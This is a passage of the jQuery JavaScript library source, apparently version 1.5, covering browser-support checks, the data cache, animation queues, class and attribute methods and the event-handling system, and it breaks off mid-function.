catch(e) { jQuery.support.deleteExpando = false; } if ( !div.addEventListener && div.attachEvent && div.fireEvent ) { div.attachEvent("onclick", function click() { // Cloning a node shouldn't copy over any // bound event handlers (IE does this) jQuery.support.noCloneEvent = false; div.detachEvent("onclick", click); }); div.cloneNode(true).fireEvent("onclick"); } div = document.createElement("div"); div.innerHTML = "<input type='radio' name='radiotest' checked='checked'/>"; var fragment = document.createDocumentFragment(); fragment.appendChild( div.firstChild ); // WebKit doesn't clone checked state correctly in fragments jQuery.support.checkClone = fragment.cloneNode(true).cloneNode(true).lastChild.checked; // Figure out if the W3C box model works as expected // document.body must exist before we can do this jQuery(function() { var div = document.createElement("div"), body = document.getElementsByTagName("body")[0]; // Frameset documents with no body should not run this code if ( !body ) { return; } div.style.width = div.style.paddingLeft = "1px"; body.appendChild( div ); jQuery.boxModel = jQuery.support.boxModel = div.offsetWidth === 2; if ( "zoom" in div.style ) { // Check if natively block-level elements act like inline-block // elements when setting their display to 'inline' and giving // them layout // (IE < 8 does this) div.style.display = "inline"; div.style.zoom = 1; jQuery.support.inlineBlockNeedsLayout = div.offsetWidth === 2; // Check if elements with layout shrink-wrap their children // (IE 6 does this) div.style.display = ""; div.innerHTML = "<div style='width:4px;'></div>"; jQuery.support.shrinkWrapBlocks = div.offsetWidth !== 2; } div.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>"; var tds = div.getElementsByTagName("td"); // Check if table cells still have offsetWidth/Height when they are set // to display:none and there are still other visible table cells in a // table row; if so, offsetWidth/Height are not reliable for use when // determining if an element has been hidden directly using // display:none (it is still safe to use offsets if a parent element is // hidden; don safety goggles and see bug #4512 for more information). // (only IE 8 fails this test) jQuery.support.reliableHiddenOffsets = tds[0].offsetHeight === 0; tds[0].style.display = ""; tds[1].style.display = "none"; // Check if empty table cells still have offsetWidth/Height // (IE < 8 fail this test) jQuery.support.reliableHiddenOffsets = jQuery.support.reliableHiddenOffsets && tds[0].offsetHeight === 0; div.innerHTML = ""; // Check if div with explicit width and no margin-right incorrectly // gets computed margin-right based on width of container. For more // info see bug #3333 // Fails in WebKit before Feb 2011 nightlies // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right if ( document.defaultView && document.defaultView.getComputedStyle ) { div.style.width = "1px"; div.style.marginRight = "0"; jQuery.support.reliableMarginRight = ( parseInt(document.defaultView.getComputedStyle(div, null).marginRight, 10) || 0 ) === 0; } body.removeChild( div ).style.display = "none"; div = tds = null; }); // Technique from Juriy Zaytsev // http://thinkweb2.com/projects/prototype/detecting-event-support-without-browser-sniffing/ var eventSupported = function( eventName ) { var el = document.createElement("div"); eventName = "on" + eventName; // We only care about the case where non-standard event systems // are used, namely in IE. Short-circuiting here helps us to // avoid an eval call (in setAttribute) which can cause CSP // to go haywire. See: https://developer.mozilla.org/en/Security/CSP if ( !el.attachEvent ) { return true; } var isSupported = (eventName in el); if ( !isSupported ) { el.setAttribute(eventName, "return;"); isSupported = typeof el[eventName] === "function"; } return isSupported; }; jQuery.support.submitBubbles = eventSupported("submit"); jQuery.support.changeBubbles = eventSupported("change"); // release memory in IE div = all = a = null; })(); var rbrace = /^(?:\{.*\}|\[.*\])$/; jQuery.extend({ cache: {}, // Please use with caution uuid: 0, // Unique for each copy of jQuery on the page // Non-digits removed to match rinlinejQuery expando: "jQuery" + ( jQuery.fn.jquery + Math.random() ).replace( /\D/g, "" ), // The following elements throw uncatchable exceptions if you // attempt to add expando properties to them. noData: { "embed": true, // Ban all objects except for Flash (which handle expandos) "object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000", "applet": true }, hasData: function( elem ) { elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ]; return !!elem && !isEmptyDataObject( elem ); }, data: function( elem, name, data, pvt /* Internal Use Only */ ) { if ( !jQuery.acceptData( elem ) ) { return; } var internalKey = jQuery.expando, getByName = typeof name === "string", thisCache, // We have to handle DOM nodes and JS objects differently because IE6-7 // can't GC object references properly across the DOM-JS boundary isNode = elem.nodeType, // Only DOM nodes need the global jQuery cache; JS object data is // attached directly to the object so GC can occur automatically cache = isNode ? jQuery.cache : elem, // Only defining an ID for JS objects if its cache already exists allows // the code to shortcut on the same path as a DOM node with no cache id = isNode ? elem[ jQuery.expando ] : elem[ jQuery.expando ] && jQuery.expando; // Avoid doing any more work than we need to when trying to get data on an // object that has no data at all if ( (!id || (pvt && id && !cache[ id ][ internalKey ])) && getByName && data === undefined ) { return; } if ( !id ) { // Only DOM nodes need a new unique ID for each element since their data // ends up in the global cache if ( isNode ) { elem[ jQuery.expando ] = id = ++jQuery.uuid; } else { id = jQuery.expando; } } if ( !cache[ id ] ) { cache[ id ] = {}; // TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery // metadata on plain JS objects when the object is serialized using // JSON.stringify if ( !isNode ) { cache[ id ].toJSON = jQuery.noop; } } // An object can be passed to jQuery.data instead of a key/value pair; this gets // shallow copied over onto the existing cache if ( typeof name === "object" || typeof name === "function" ) { if ( pvt ) { cache[ id ][ internalKey ] = jQuery.extend(cache[ id ][ internalKey ], name); } else { cache[ id ] = jQuery.extend(cache[ id ], name); } } thisCache = cache[ id ]; // Internal jQuery data is stored in a separate object inside the object's data // cache in order to avoid key collisions between internal data and user-defined // data if ( pvt ) { if ( !thisCache[ internalKey ] ) { thisCache[ internalKey ] = {}; } thisCache = thisCache[ internalKey ]; } if ( data !== undefined ) { thisCache[ name ] = data; } // TODO: This is a hack for 1.5 ONLY. It will be removed in 1.6. Users should // not attempt to inspect the internal events object using jQuery.data, as this // internal data object is undocumented and subject to change. if ( name === "events" && !thisCache[name] ) { return thisCache[ internalKey ] && thisCache[ internalKey ].events; } return getByName ? thisCache[ name ] : thisCache; }, removeData: function( elem, name, pvt /* Internal Use Only */ ) { if ( !jQuery.acceptData( elem ) ) { return; } var internalKey = jQuery.expando, isNode = elem.nodeType, // See jQuery.data for more information cache = isNode ? jQuery.cache : elem, // See jQuery.data for more information id = isNode ? elem[ jQuery.expando ] : jQuery.expando; // If there is already no cache entry for this object, there is no // purpose in continuing if ( !cache[ id ] ) { return; } if ( name ) { var thisCache = pvt ? cache[ id ][ internalKey ] : cache[ id ]; if ( thisCache ) { delete thisCache[ name ]; // If there is no data left in the cache, we want to continue // and let the cache object itself get destroyed if ( !isEmptyDataObject(thisCache) ) { return; } } } // See jQuery.data for more information if ( pvt ) { delete cache[ id ][ internalKey ]; // Don't destroy the parent cache unless the internal data object // had been the only thing left in it if ( !isEmptyDataObject(cache[ id ]) ) { return; } } var internalCache = cache[ id ][ internalKey ]; // Browsers that fail expando deletion also refuse to delete expandos on // the window, but it will allow it on all other JS objects; other browsers // don't care if ( jQuery.support.deleteExpando || cache != window ) { delete cache[ id ]; } else { cache[ id ] = null; } // We destroyed the entire user cache at once because it's faster than // iterating through each key, but we need to continue to persist internal // data if it existed if ( internalCache ) { cache[ id ] = {}; // TODO: This is a hack for 1.5 ONLY. Avoids exposing jQuery // metadata on plain JS objects when the object is serialized using // JSON.stringify if ( !isNode ) { cache[ id ].toJSON = jQuery.noop; } cache[ id ][ internalKey ] = internalCache; // Otherwise, we need to eliminate the expando on the node to avoid // false lookups in the cache for entries that no longer exist } else if ( isNode ) { // IE does not allow us to delete expando properties from nodes, // nor does it have a removeAttribute function on Document nodes; // we must handle all of these cases if ( jQuery.support.deleteExpando ) { delete elem[ jQuery.expando ]; } else if ( elem.removeAttribute ) { elem.removeAttribute( jQuery.expando ); } else { elem[ jQuery.expando ] = null; } } }, // For internal use only. _data: function( elem, name, data ) { return jQuery.data( elem, name, data, true ); }, // A method for determining if a DOM node can handle the data expando acceptData: function( elem ) { if ( elem.nodeName ) { var match = jQuery.noData[ elem.nodeName.toLowerCase() ]; if ( match ) { return !(match === true || elem.getAttribute("classid") !== match); } } return true; } }); jQuery.fn.extend({ data: function( key, value ) { var data = null; if ( typeof key === "undefined" ) { if ( this.length ) { data = jQuery.data( this[0] ); if ( this[0].nodeType === 1 ) { var attr = this[0].attributes, name; for ( var i = 0, l = attr.length; i < l; i++ ) { name = attr[i].name; if ( name.indexOf( "data-" ) === 0 ) { name = name.substr( 5 ); dataAttr( this[0], name, data[ name ] ); } } } } return data; } else if ( typeof key === "object" ) { return this.each(function() { jQuery.data( this, key ); }); } var parts = key.split("."); parts[1] = parts[1] ? "." + parts[1] : ""; if ( value === undefined ) { data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]); // Try to fetch any internally stored data first if ( data === undefined && this.length ) { data = jQuery.data( this[0], key ); data = dataAttr( this[0], key, data ); } return data === undefined && parts[1] ? this.data( parts[0] ) : data; } else { return this.each(function() { var $this = jQuery( this ), args = [ parts[0], value ]; $this.triggerHandler( "setData" + parts[1] + "!", args ); jQuery.data( this, key, value ); $this.triggerHandler( "changeData" + parts[1] + "!", args ); }); } }, removeData: function( key ) { return this.each(function() { jQuery.removeData( this, key ); }); } }); function dataAttr( elem, key, data ) { // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { data = elem.getAttribute( "data-" + key ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : !jQuery.isNaN( data ) ? parseFloat( data ) : rbrace.test( data ) ? jQuery.parseJSON( data ) : data; } catch( e ) {} // Make sure we set the data so it isn't changed later jQuery.data( elem, key, data ); } else { data = undefined; } } return data; } // TODO: This is a hack for 1.5 ONLY to allow objects with a single toJSON // property to be considered empty objects; this property always exists in // order to make sure JSON.stringify does not expose internal metadata function isEmptyDataObject( obj ) { for ( var name in obj ) { if ( name !== "toJSON" ) { return false; } } return true; } jQuery.extend({ queue: function( elem, type, data ) { if ( !elem ) { return; } type = (type || "fx") + "queue"; var q = jQuery._data( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( !data ) { return q || []; } if ( !q || jQuery.isArray(data) ) { q = jQuery._data( elem, type, jQuery.makeArray(data) ); } else { q.push( data ); } return q; }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), fn = queue.shift(); // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift("inprogress"); } fn.call(elem, function() { jQuery.dequeue(elem, type); }); } if ( !queue.length ) { jQuery.removeData( elem, type + "queue", true ); } } }); jQuery.fn.extend({ queue: function( type, data ) { if ( typeof type !== "string" ) { data = type; type = "fx"; } if ( data === undefined ) { return jQuery.queue( this[0], type ); } return this.each(function( i ) { var queue = jQuery.queue( this, type, data ); if ( type === "fx" && queue[0] !== "inprogress" ) { jQuery.dequeue( this, type ); } }); }, dequeue: function( type ) { return this.each(function() { jQuery.dequeue( this, type ); }); }, // Based off of the plugin by Clint Helfers, with permission. // http://blindsignals.com/index.php/2009/07/jquery-delay/ delay: function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[time] || time : time; type = type || "fx"; return this.queue( type, function() { var elem = this; setTimeout(function() { jQuery.dequeue( elem, type ); }, time ); }); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); } }); var rclass = /[\n\t\r]/g, rspaces = /\s+/, rreturn = /\r/g, rspecialurl = /^(?:href|src|style)$/, rtype = /^(?:button|input)$/i, rfocusable = /^(?:button|input|object|select|textarea)$/i, rclickable = /^a(?:rea)?$/i, rradiocheck = /^(?:radio|checkbox)$/i; jQuery.props = { "for": "htmlFor", "class": "className", readonly: "readOnly", maxlength: "maxLength", cellspacing: "cellSpacing", rowspan: "rowSpan", colspan: "colSpan", tabindex: "tabIndex", usemap: "useMap", frameborder: "frameBorder" }; jQuery.fn.extend({ attr: function( name, value ) { return jQuery.access( this, name, value, true, jQuery.attr ); }, removeAttr: function( name, fn ) { return this.each(function(){ jQuery.attr( this, name, "" ); if ( this.nodeType === 1 ) { this.removeAttribute( name ); } }); }, addClass: function( value ) { if ( jQuery.isFunction(value) ) { return this.each(function(i) { var self = jQuery(this); self.addClass( value.call(this, i, self.attr("class")) ); }); } if ( value && typeof value === "string" ) { var classNames = (value || "").split( rspaces ); for ( var i = 0, l = this.length; i < l; i++ ) { var elem = this[i]; if ( elem.nodeType === 1 ) { if ( !elem.className ) { elem.className = value; } else { var className = " " + elem.className + " ", setClass = elem.className; for ( var c = 0, cl = classNames.length; c < cl; c++ ) { if ( className.indexOf( " " + classNames[c] + " " ) < 0 ) { setClass += " " + classNames[c]; } } elem.className = jQuery.trim( setClass ); } } } } return this; }, removeClass: function( value ) { if ( jQuery.isFunction(value) ) { return this.each(function(i) { var self = jQuery(this); self.removeClass( value.call(this, i, self.attr("class")) ); }); } if ( (value && typeof value === "string") || value === undefined ) { var classNames = (value || "").split( rspaces ); for ( var i = 0, l = this.length; i < l; i++ ) { var elem = this[i]; if ( elem.nodeType === 1 && elem.className ) { if ( value ) { var className = (" " + elem.className + " ").replace(rclass, " "); for ( var c = 0, cl = classNames.length; c < cl; c++ ) { className = className.replace(" " + classNames[c] + " ", " "); } elem.className = jQuery.trim( className ); } else { elem.className = ""; } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value, isBool = typeof stateVal === "boolean"; if ( jQuery.isFunction( value ) ) { return this.each(function(i) { var self = jQuery(this); self.toggleClass( value.call(this, i, self.attr("class"), stateVal), stateVal ); }); } return this.each(function() { if ( type === "string" ) { // toggle individual class names var className, i = 0, self = jQuery( this ), state = stateVal, classNames = value.split( rspaces ); while ( (className = classNames[ i++ ]) ) { // check each className given, space seperated list state = isBool ? state : !self.hasClass( className ); self[ state ? "addClass" : "removeClass" ]( className ); } } else if ( type === "undefined" || type === "boolean" ) { if ( this.className ) { // store className if set jQuery._data( this, "__className__", this.className ); } // toggle whole className this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; } }); }, hasClass: function( selector ) { var className = " " + selector + " "; for ( var i = 0, l = this.length; i < l; i++ ) { if ( (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) { return true; } } return false; }, val: function( value ) { if ( !arguments.length ) { var elem = this[0]; if ( elem ) { if ( jQuery.nodeName( elem, "option" ) ) { // attributes.value is undefined in Blackberry 4.7 but // uses .value. See #6932 var val = elem.attributes.value; return !val || val.specified ? elem.value : elem.text; } // We need to handle select boxes special if ( jQuery.nodeName( elem, "select" ) ) { var index = elem.selectedIndex, values = [], options = elem.options, one = elem.type === "select-one"; // Nothing was selected if ( index < 0 ) { return null; } // Loop through all the selected options for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) { var option = options[ i ]; // Don't return options that are disabled or in a disabled optgroup if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) { // Get the specific value for the option value = jQuery(option).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } // Fixes Bug #2551 -- select.val() broken in IE after form.reset() if ( one && !values.length && options.length ) { return jQuery( options[ index ] ).val(); } return values; } // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified if ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) { return elem.getAttribute("value") === null ? "on" : elem.value; } // Everything else, we just grab the value return (elem.value || "").replace(rreturn, ""); } return undefined; } var isFunction = jQuery.isFunction(value); return this.each(function(i) { var self = jQuery(this), val = value; if ( this.nodeType !== 1 ) { return; } if ( isFunction ) { val = value.call(this, i, self.val()); } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( jQuery.isArray(val) ) { val = jQuery.map(val, function (value) { return value == null ? "" : value + ""; }); } if ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) { this.checked = jQuery.inArray( self.val(), val ) >= 0; } else if ( jQuery.nodeName( this, "select" ) ) { var values = jQuery.makeArray(val); jQuery( "option", this ).each(function() { this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; }); if ( !values.length ) { this.selectedIndex = -1; } } else { this.value = val; } }); } }); jQuery.extend({ attrFn: { val: true, css: true, html: true, text: true, data: true, width: true, height: true, offset: true }, attr: function( elem, name, value, pass ) { // don't get/set attributes on text, comment and attribute nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || elem.nodeType === 2 ) { return undefined; } if ( pass && name in jQuery.attrFn ) { return jQuery(elem)[name](value); } var notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ), // Whether we are setting (or getting) set = value !== undefined; // Try to normalize/fix the name name = notxml && jQuery.props[ name ] || name; // Only do all the following if this is a node (faster for style) if ( elem.nodeType === 1 ) { // These attributes require special treatment var special = rspecialurl.test( name ); // Safari mis-reports the default selected property of an option // Accessing the parent's selectedIndex property fixes it if ( name === "selected" && !jQuery.support.optSelected ) { var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; // Make sure that it also works with optgroups, see #5701 if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } // If applicable, access the attribute via the DOM 0 way // 'in' checks fail in Blackberry 4.7 #6931 if ( (name in elem || elem[ name ] !== undefined) && notxml && !special ) { if ( set ) { // We can't allow the type property to be changed (since it causes problems in IE) if ( name === "type" && rtype.test( elem.nodeName ) && elem.parentNode ) { jQuery.error( "type property can't be changed" ); } if ( value === null ) { if ( elem.nodeType === 1 ) { elem.removeAttribute( name ); } } else { elem[ name ] = value; } } // browsers index elements by id/name on forms, give priority to attributes. if ( jQuery.nodeName( elem, "form" ) && elem.getAttributeNode(name) ) { return elem.getAttributeNode( name ).nodeValue; } // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ if ( name === "tabIndex" ) { var attributeNode = elem.getAttributeNode( "tabIndex" ); return attributeNode && attributeNode.specified ? attributeNode.value : rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? 0 : undefined; } return elem[ name ]; } if ( !jQuery.support.style && notxml && name === "style" ) { if ( set ) { elem.style.cssText = "" + value; } return elem.style.cssText; } if ( set ) { // convert the value to a string (all browsers do this but IE) see #1070 elem.setAttribute( name, "" + value ); } // Ensure that missing attributes return undefined // Blackberry 4.7 returns "" from getAttribute #6938 if ( !elem.attributes[ name ] && (elem.hasAttribute && !elem.hasAttribute( name )) ) { return undefined; } var attr = !jQuery.support.hrefNormalized && notxml && special ? // Some attributes require a special call on IE elem.getAttribute( name, 2 ) : elem.getAttribute( name ); // Non-existent attributes return null, we normalize to undefined return attr === null ? undefined : attr; } // Handle everything which isn't a DOM element node if ( set ) { elem[ name ] = value; } return elem[ name ]; } }); var rnamespaces = /\.(.*)$/, rformElems = /^(?:textarea|input|select)$/i, rperiod = /\./g, rspace = / /g, rescape = /[^\w\s.|`]/g, fcleanup = function( nm ) { return nm.replace(rescape, "\\$&"); }; /* * A number of helper functions used for managing events. * Many of the ideas behind this code originated from * Dean Edwards' addEvent library. */ jQuery.event = { // Bind an event to an element // Original by Dean Edwards add: function( elem, types, handler, data ) { if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // TODO :: Use a try/catch until it's safe to pull this out (likely 1.6) // Minor release fix for bug #8018 try { // For whatever reason, IE has trouble passing the window object // around, causing it to be cloned in the process if ( jQuery.isWindow( elem ) && ( elem !== window && !elem.frameElement ) ) { elem = window; } } catch ( e ) {} if ( handler === false ) { handler = returnFalse; } else if ( !handler ) { // Fixes bug #7229. Fix recommended by jdalton return; } var handleObjIn, handleObj; if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; } // Make sure that the function being executed has a unique ID if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure var elemData = jQuery._data( elem ); // If no elemData is found then we must be trying to bind to one of the // banned noData elements if ( !elemData ) { return; } var events = elemData.events, eventHandle = elemData.handle; if ( !events ) { elemData.events = events = {}; } if ( !eventHandle ) { elemData.handle = eventHandle = function( e ) { // Handle the second event of a trigger and when // an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.handle.apply( eventHandle.elem, arguments ) : undefined; }; } // Add elem as a property of the handle function // This is to prevent a memory leak with non-native events in IE. eventHandle.elem = elem; // Handle multiple events separated by a space // jQuery(...).bind("mouseover mouseout", fn); types = types.split(" "); var type, i = 0, namespaces; while ( (type = types[ i++ ]) ) { handleObj = handleObjIn ? jQuery.extend({}, handleObjIn) : { handler: handler, data: data }; // Namespaced event handlers if ( type.indexOf(".") > -1 ) { namespaces = type.split("."); type = namespaces.shift(); handleObj.namespace = namespaces.slice(0).sort().join("."); } else { namespaces = []; handleObj.namespace = ""; } handleObj.type = type; if ( !handleObj.guid ) { handleObj.guid = handler.guid; } // Get the current list of functions bound to this event var handlers = events[ type ], special = jQuery.event.special[ type ] || {}; // Init the event handler queue if ( !handlers ) { handlers = events[ type ] = []; // Check for a special event handler // Only use addEventListener/attachEvent if the special // events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { // Bind the global event handler to the element if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle, false ); } else if ( elem.attachEvent ) { elem.attachEvent( "on" + type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add the function to the element's handler list handlers.push( handleObj ); // Keep track of which events have been used, for global triggering jQuery.event.global[ type ] = true; } // Nullify elem to prevent memory leaks in IE elem = null; }, global: {}, // Detach an event or set of events from an element remove: function( elem, types, handler, pos ) { // don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } if ( handler === false ) { handler = returnFalse; } var ret, type, fn, j, i = 0, all, namespaces, namespace, special, eventType, handleObj, origType, elemData = jQuery.hasData( elem ) && jQuery._data( elem ), events = elemData && elemData.events; if ( !elemData || !events ) { return; } // types is actually an event object here if ( types && types.type ) { handler = types.handler; types = types.type; } // Unbind all events for the element if ( !types || typeof types === "string" && types.charAt(0) === "." ) { types = types || ""; for ( type in events ) { jQuery.event.remove( elem, type + types ); } return; } // Handle multiple events separated by a space // jQuery(...).unbind("mouseover mouseout", fn); types = types.split(" "); while ( (type = types[ i++ ]) ) { origType = type; handleObj = null; all = type.indexOf(".") < 0; namespaces = []; if ( !all ) { // Namespaced event handlers namespaces = type.split("."); type = namespaces.shift(); namespace = new RegExp("(^|\\.)" + jQuery.map( namespaces.slice(0).sort(), fcleanup ).join("\\.(?:.*\\.)?") + "(\\.|$)"); } eventType = events[ type ]; if ( !eventType ) { continue; } if ( !handler ) { for ( j = 0; j < eventType.length; j++ ) { handleObj = eventType[ j ]; if ( all || namespace.test( handleObj.namespace ) ) { jQuery.event.remove( elem, origType, handleObj.handler, j ); eventType.splice( j--, 1 ); } } continue; } special = jQuery.event.special[ type ] || {}; for ( j = pos || 0; j < eventType.length; j++ ) { handleObj = eventType[ j ]; if ( handler.guid === handleObj.guid ) { // remove the given handler for the given type if ( all || namespace.test( handleObj.namespace ) ) { if ( pos == null ) { eventType.splice( j--, 1 ); } if ( special.remove ) { special.remove.call( elem, handleObj ); } } if ( pos != null ) { break; } } } // remove generic event handler if no more handlers exist if ( eventType.length === 0 || pos != null && eventType.length === 1 ) { if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } ret = null; delete events[ type ]; } } // Remove the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { var handle = elemData.handle; if ( handle ) { handle.elem = null; } delete elemData.events; delete elemData.handle; if ( jQuery.isEmptyObject( elemData ) ) { jQuery.removeData( elem, undefined, true ); } } }, // bubbling is internal trigger: function( event, data, elem /*, bubbling */ ) { // Event object or event type var type = event.type || event, bubbling = arguments[3]; if ( !bubbling ) { event = typeof event === "object" ? // jQuery.Event object event[ jQuery.expando ] ? event : // Object literal jQuery.extend( jQuery.Event(type), event ) : // Just the event type (string) jQuery.Event(type); if ( type.indexOf("!") >= 0 ) { event.type = type = type.slice(0, -1); event.exclusive = true; } // Handle a global trigger if ( !elem ) { // Don't bubble custom events when global (to avoid too much overhead) event.stopPropagation(); // Only trigger if we've ever bound an event for it if ( jQuery.event.global[ type ] ) { // XXX This code smells terrible. event.js should not be directly // inspecting the data cache jQuery.each( jQuery.cache, function() { // internalKey variable is just used to make it easier to find // and potentially change this stuff later; currently it just // points to jQuery.expando var internalKey = jQuery.expando, internalCache = this[ internalKey ]; if ( internalCache && internalCache.events && internalCache.events[ type ] ) { jQuery.event.trigger( event, data, internalCache.handle.elem ); } }); } } // Handle triggering a single element // don't do events on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) { return undefined; } // Clean up in case it is reused event.result = undefined; event.target = elem; // Clone the incoming data, if any data = jQuery.makeArray( data ); data.unshift( event ); } event.currentTarget = elem; // Trigger the event, it is assumed that "handle" is a function var handle = jQuery._data( elem, "handle" ); if ( handle ) { handle.apply( elem, data ); } var parent = elem.parentNode || elem.ownerDocument; // Trigger an inline bound script try { if ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) { if ( elem[ "on" + type ] && elem[ "on" + type ].apply( elem, data ) === false ) { event.result = false; event.preventDefault(); } } // prevent IE from throwing an error for some elements with some event types, see #3533 } catch (inlineError) {} if ( !event.isPropagationStopped() && parent ) { jQuery.event.trigger( event, data, parent, true ); } else if ( !event.isDefaultPrevented() ) { var old, target = event.target, targetType = type.replace( rnamespaces, "" ), isClick = jQuery.nodeName( target, "a" ) && targetType === "click", special = jQuery.event.special[ targetType ] || {}; if ( (!special._default || special._default.call( elem, event ) === false) && !isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) { try { if ( target[ targetType ] ) { // Make sure that we don't accidentally re-trigger the onFOO events old = target[ "on" + targetType ]; if ( old ) { target[ "on" + targetType ] = null; } jQuery.event.triggered = event.type; target[ targetType ](); } // prevent IE from throwing an error for some elements with some event types, see #3533 } catch (triggerError) {} if ( old ) { target[ "on" + targetType ] = old; } jQuery.event.triggered = undefined; } } }, handle: function( event ) { var all, handlers, namespaces, namespace_re, events, namespace_sort = [], args = jQuery.makeArray( arguments ); event = args[0] = jQuery.event.fix( event || window.event ); event.currentTarget = this; // Namespaced event handlers all = event.type.indexOf(".") < 0 && !event.exclusive; if ( !all ) { namespaces = event.type.split("."); event.type = namespaces.shift(); namespace_sort = namespaces.slice(0).sort(); namespace_re = new RegExp("(^|\\.)" + namespace_sort.join("\\.(?:.*\\.)?") + "(\\.|$)"); } event.namespace = event.namespace || namespace_sort.join("."); events = jQuery._data(this, "events"); handlers = (events || {})[ event.type ]; if ( events && handlers ) { // Clone the handlers to prevent manipulation handlers = handlers.slice(0); for ( var j = 0, l = handlers.length; j < l; j++ ) { var handleObj = handlers[ j ]; // Filter the functions by class if ( all || namespace_re.test( handleObj.namespace ) ) { // Pass in a reference to the handler function itself // So that we can later remove it event.handler = handleObj.handler; event.data = handleObj.data; event.handleObj = handleObj; var ret = handleObj.handler.apply( this, args ); if ( ret !== undefined ) { event.result = ret; if ( ret === false ) { event.preventDefault(); event.stopPropagation(); } } if ( event.isImmediatePropagationStopped() ) { break; } } } } return event.result; }, props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), fix: function( event ) { if ( event[ jQuery.expando ] ) { return event; } // store a copy of the original event object // and "clone" to set read-only properties var originalEvent = event; event = jQuery.Event( originalEvent ); for ( var i = this.props.length, prop; i; ) { prop = this.props[ --i ]; event[ prop ] = originalEvent[ prop ]; } // Fix target property, if necessary if ( !event.target ) { // Fixes #1925 where srcElement might not be defined either event.target = event.srcElement || document; } // check if target is a textnode (safari) if ( event.target.nodeType === 3 ) { event.target = event.target.parentNode; } // Add relatedTarget, if necessary if ( !event.relatedTarget && event.fromElement ) { event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement; } // Calculate pageX/Y if missing and clientX/Y available if ( event.pageX == null && event.clientX != null ) { var doc = document.documentElement, body = document.body; event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0); event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0); } // Add which for key events if ( event.which == null && (event.charCode != null || event.keyCode != null) ) { event.which = event.charCode != null ? event.charCode : event.keyCode; } // Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs) if ( !event.metaKey && event.ctrlKey ) { event.metaKey = event.ctrlKey; } // Add which for click: 1 === left; 2 === middle; 3 === right // Note: button is not normalized, so don't use it if ( !event.which && event.button !== undefined ) { event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) )); } return event; }, // Deprecated, use jQuery.guid instead guid: 1E8, // Deprecated, use jQuery.proxy instead proxy: jQuery.proxy, special: { ready: { // Make sure the ready event is setup setup: jQuery.bindReady, teardown: jQuery.noop }, live: { add: function( handleObj ) { jQuery.event.add( this, liveConvert( handleObj.origType, handleObj.selector ), jQuery.extend({}, handleObj, {handler: liveHandler, guid: handleObj.handler.guid}) ); }, remove: function( handleObj ) { jQuery.event.remove( this, liveConvert( handleObj.origType, handleObj.selector ), handleObj ); } }, beforeunload: { setup: function( data, namespaces, eventHandle ) { // We only want to do this special case on windows if ( jQuery.isWindow( this ) ) { this.onbeforeunload = 